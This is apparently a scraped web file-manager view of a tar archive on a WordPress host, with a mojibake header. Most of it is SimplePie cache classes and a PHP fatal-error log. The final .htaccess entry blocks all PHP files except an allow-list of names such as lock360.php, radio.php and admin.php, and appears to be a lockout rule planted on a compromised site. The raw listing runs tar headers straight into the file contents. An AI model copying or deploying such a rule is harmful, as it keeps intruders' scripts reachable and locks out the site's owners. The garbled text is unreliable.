���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/Cache.tar
���ѧ٧ѧ�
Redis.php 0000644 00000001074 15157515234 0006335 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); use SimplePie\Cache\Redis; class_exists('SimplePie\Cache\Redis'); // @trigger_error(sprintf('Using the "SimplePie_Cache_Redis" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead.'), \E_USER_DEPRECATED); /** @phpstan-ignore-next-line */ if (\false) { /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Redis" instead */ class SimplePie_Cache_Redis extends Redis { } } DB.php 0000644 00000001060 15157515234 0005547 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); use SimplePie\Cache\DB; class_exists('SimplePie\Cache\DB'); // @trigger_error(sprintf('Using the "SimplePie_Cache_DB" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead.'), \E_USER_DEPRECATED); /** @phpstan-ignore-next-line */ if (\false) { /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\DB" instead */ abstract class SimplePie_Cache_DB extends DB { } } MySQL.php 0000644 00000001074 15157515235 0006235 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); use SimplePie\Cache\MySQL; class_exists('SimplePie\Cache\MySQL'); // @trigger_error(sprintf('Using the "SimplePie_Cache_MySQL" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead.'), \E_USER_DEPRECATED); /** @phpstan-ignore-next-line */ if (\false) { /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\MySQL" instead */ class SimplePie_Cache_MySQL extends MySQL { } } BaseDataCache.php 0000644 00000007003 15157515235 0007656 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie\Cache; use InvalidArgumentException; /** * Adapter for deprecated \SimplePie\Cache\Base implementations * * @internal */ final class BaseDataCache implements DataCache { /** * @var Base */ private $cache; public function __construct(Base $cache) { $this->cache = $cache; } /** * Fetches a value from the cache. * * Equivalent to \Psr\SimpleCache\CacheInterface::get() * <code> * public function get(string $key, mixed $default = null): mixed; * </code> * * @param string $key The unique key of this item in the cache. * @param mixed $default Default value to return if the key does not exist. * * @return array|mixed The value of the item from the cache, or $default in case of cache miss. * * @throws InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function get_data(string $key, $default = null) { $data = $this->cache->load(); if (!is_array($data)) { return $default; } // ignore data if internal cache expiration time is not set if (!array_key_exists('__cache_expiration_time', $data)) { return $default; } // ignore data if internal cache expiration time is expired if ($data['__cache_expiration_time'] < time()) { return $default; } // remove internal cache expiration time unset($data['__cache_expiration_time']); return $data; } /** * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time. * * Equivalent to \Psr\SimpleCache\CacheInterface::set() * <code> * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool; * </code> * * @param string $key The key of the item to store. * @param array<mixed> $value The value of the item to store, must be serializable. * @param null|int $ttl Optional. The TTL value of this item. If no value is sent and * the driver supports TTL then the library may set a default value * for it or let the driver take care of that. * * @return bool True on success and false on failure. * * @throws InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function set_data(string $key, array $value, ?int $ttl = null): bool { if ($ttl === null) { $ttl = 3600; } // place internal cache expiration time $value['__cache_expiration_time'] = time() + $ttl; return $this->cache->save($value); } /** * Delete an item from the cache by its unique key. * * Equivalent to \Psr\SimpleCache\CacheInterface::delete() * <code> * public function delete(string $key): bool; * </code> * * @param string $key The unique cache key of the item to delete. * * @return bool True if the item was successfully removed. False if there was an error. * * @throws InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function delete_data(string $key): bool { return $this->cache->unlink(); } } error_log 0000644 00000025100 15157515236 0006471 0 ustar 00 [18-Dec-2025 00:09:19 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17 [18-Dec-2025 00:09:20 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13 [18-Dec-2025 00:09:20 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17 [18-Dec-2025 00:09:20 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php:15 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15 [18-Dec-2025 00:09:20 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24 [18-Dec-2025 00:09:20 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25 [18-Dec-2025 00:09:21 UTC] PHP Fatal error: Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21 [18-Dec-2025 00:09:21 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19 [18-Dec-2025 00:09:21 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25 [20-Dec-2025 00:06:58 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17 [20-Dec-2025 00:06:58 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13 [20-Dec-2025 00:06:58 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17 [20-Dec-2025 00:06:58 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php:15 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15 [20-Dec-2025 00:06:59 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24 [20-Dec-2025 00:06:59 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25 [20-Dec-2025 00:06:59 UTC] PHP Fatal error: Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21 [20-Dec-2025 00:06:59 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19 [20-Dec-2025 00:06:59 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25 [22-Dec-2025 23:27:49 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17 [22-Dec-2025 23:27:49 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13 [22-Dec-2025 23:27:49 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17 [22-Dec-2025 23:27:49 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php:15 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15 [22-Dec-2025 23:27:49 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24 [22-Dec-2025 23:27:49 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25 [22-Dec-2025 23:27:50 UTC] PHP Fatal error: Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21 [22-Dec-2025 23:27:50 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19 [22-Dec-2025 23:27:50 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25 [31-Jan-2026 08:31:50 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25 [31-Jan-2026 08:32:29 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25 [31-Jan-2026 08:32:47 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19 [31-Jan-2026 08:33:00 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17 [31-Jan-2026 08:34:36 UTC] PHP Fatal error: Uncaught Error: Class "SimplePie\Cache\DB" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21 [31-Jan-2026 08:35:03 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24 [31-Jan-2026 08:36:22 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\DataCache" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17 [31-Jan-2026 08:36:31 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\NameFilter" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13 [31-Jan-2026 08:36:34 UTC] PHP Fatal error: Uncaught Error: Interface "SimplePie\Cache\Base" not found in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php:15 Stack trace: #0 {main} thrown in /home/zhaagvlk/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15 Base.php 0000644 00000001075 15157515236 0006144 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); use SimplePie\Cache\Base; interface_exists('SimplePie\Cache\Base'); // @trigger_error(sprintf('Using the "SimplePie_Cache_Base" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead.'), \E_USER_DEPRECATED); /** @phpstan-ignore-next-line */ if (\false) { /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead */ interface SimplePie_Cache_Base extends Base { } } DataCache.php 0000644 00000005357 15157515237 0007077 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie\Cache; use InvalidArgumentException; /** * Subset of PSR-16 Cache client for caching data arrays * * Only get(), set() and delete() methods are used, * but not has(), getMultiple(), setMultiple() or deleteMultiple(). * * The methods names must be different, but should be compatible to the * methods of \Psr\SimpleCache\CacheInterface. * * @internal */ interface DataCache { /** * Fetches a value from the cache. * * Equivalent to \Psr\SimpleCache\CacheInterface::get() * <code> * public function get(string $key, mixed $default = null): mixed; * </code> * * @param string $key The unique key of this item in the cache. * @param mixed $default Default value to return if the key does not exist. * * @return array|mixed The value of the item from the cache, or $default in case of cache miss. * * @throws InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function get_data(string $key, $default = null); /** * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time. * * Equivalent to \Psr\SimpleCache\CacheInterface::set() * <code> * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool; * </code> * * @param string $key The key of the item to store. * @param array<mixed> $value The value of the item to store, must be serializable. * @param null|int $ttl Optional. The TTL value of this item. If no value is sent and * the driver supports TTL then the library may set a default value * for it or let the driver take care of that. * * @return bool True on success and false on failure. * * @throws InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function set_data(string $key, array $value, ?int $ttl = null): bool; /** * Delete an item from the cache by its unique key. * * Equivalent to \Psr\SimpleCache\CacheInterface::delete() * <code> * public function delete(string $key): bool; * </code> * * @param string $key The unique cache key of the item to delete. * * @return bool True if the item was successfully removed. False if there was an error. * * @throws InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function delete_data(string $key): bool; } Memcache.php 0000644 00000001121 15157515237 0006765 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); use SimplePie\Cache\Memcache; class_exists('SimplePie\Cache\Memcache'); // @trigger_error(sprintf('Using the "SimplePie_Cache_Memcache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead.'), \E_USER_DEPRECATED); /** @phpstan-ignore-next-line */ if (\false) { /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead */ class SimplePie_Cache_Memcache extends Memcache { } } NameFilter.php 0000644 00000002227 15157515237 0007321 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie\Cache; /** * Interface for creating a cache filename */ interface NameFilter { /** * Method to create cache filename with. * * The returning name MUST follow the rules for keys in PSR-16. * * @link https://www.php-fig.org/psr/psr-16/ * * The returning name MUST be a string of at least one character * that uniquely identifies a cached item, MUST only contain the * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding * and MUST not longer then 64 characters. The following characters * are reserved for future extensions and MUST NOT be used: {}()/\@: * * A provided implementing library MAY support additional characters * and encodings or longer lengths, but MUST support at least that * minimum. * * @param string $name The name for the cache will be most likely an url with query string * * @return string the new cache name */ public function filter(string $name): string; } Memcached.php 0000644 00000001130 15157515240 0007123 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); use SimplePie\Cache\Memcached; class_exists('SimplePie\Cache\Memcached'); // @trigger_error(sprintf('Using the "SimplePie_Cache_Memcached" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead.'), \E_USER_DEPRECATED); /** @phpstan-ignore-next-line */ if (\false) { /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead */ class SimplePie_Cache_Memcached extends Memcached { } } CallableNameFilter.php 0000644 00000002756 15157515240 0010742 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie\Cache; /** * Creating a cache filename with callables */ final class CallableNameFilter implements NameFilter { /** * @var callable(string): string */ private $callable; /** * @param callable(string): string $callable */ public function __construct(callable $callable) { $this->callable = $callable; } /** * Method to create cache filename with. * * The returning name MUST follow the rules for keys in PSR-16. * * @link https://www.php-fig.org/psr/psr-16/ * * The returning name MUST be a string of at least one character * that uniquely identifies a cached item, MUST only contain the * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding * and MUST not longer then 64 characters. The following characters * are reserved for future extensions and MUST NOT be used: {}()/\@: * * A provided implementing library MAY support additional characters * and encodings or longer lengths, but MUST support at least that * minimum. * * @param string $name The name for the cache will be most likely an url with query string * * @return string the new cache name */ public function filter(string $name): string { return call_user_func($this->callable, $name); } } Psr16.php 0000644 00000006270 15157515240 0006202 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie\Cache; use Psr\SimpleCache\CacheInterface; use Psr\SimpleCache\InvalidArgumentException; use Throwable; /** * Caches data into a PSR-16 cache implementation * * @internal */ final class Psr16 implements DataCache { /** * PSR-16 cache implementation * * @var CacheInterface */ private $cache; /** * PSR-16 cache implementation * * @param CacheInterface $cache */ public function __construct(CacheInterface $cache) { $this->cache = $cache; } /** * Fetches a value from the cache. * * Equivalent to \Psr\SimpleCache\CacheInterface::get() * <code> * public function get(string $key, mixed $default = null): mixed; * </code> * * @param string $key The unique key of this item in the cache. * @param mixed $default Default value to return if the key does not exist. * * @return array|mixed The value of the item from the cache, or $default in case of cache miss. * * @throws InvalidArgumentException&Throwable * MUST be thrown if the $key string is not a legal value. */ public function get_data(string $key, $default = null) { $data = $this->cache->get($key, $default); if (!is_array($data) || $data === $default) { return $default; } return $data; } /** * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time. * * Equivalent to \Psr\SimpleCache\CacheInterface::set() * <code> * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool; * </code> * * @param string $key The key of the item to store. * @param array<mixed> $value The value of the item to store, must be serializable. * @param null|int $ttl Optional. The TTL value of this item. If no value is sent and * the driver supports TTL then the library may set a default value * for it or let the driver take care of that. * * @return bool True on success and false on failure. * * @throws InvalidArgumentException&Throwable * MUST be thrown if the $key string is not a legal value. */ public function set_data(string $key, array $value, ?int $ttl = null): bool { return $this->cache->set($key, $value, $ttl); } /** * Delete an item from the cache by its unique key. * * Equivalent to \Psr\SimpleCache\CacheInterface::delete() * <code> * public function delete(string $key): bool; * </code> * * @param string $key The unique cache key of the item to delete. * * @return bool True if the item was successfully removed. False if there was an error. * * @throws InvalidArgumentException&Throwable * MUST be thrown if the $key string is not a legal value. */ public function delete_data(string $key): bool { return $this->cache->delete($key); } } File.php 0000644 00000001065 15157515240 0006143 0 ustar 00 <?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); use SimplePie\Cache\File; class_exists('SimplePie\Cache\File'); // @trigger_error(sprintf('Using the "SimplePie_Cache_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead.'), \E_USER_DEPRECATED); /** @phpstan-ignore-next-line */ if (\false) { /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead */ class SimplePie_Cache_File extends File { } } .htaccess 0000644 00000000644 15157660032 0006353 0 ustar 00 <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>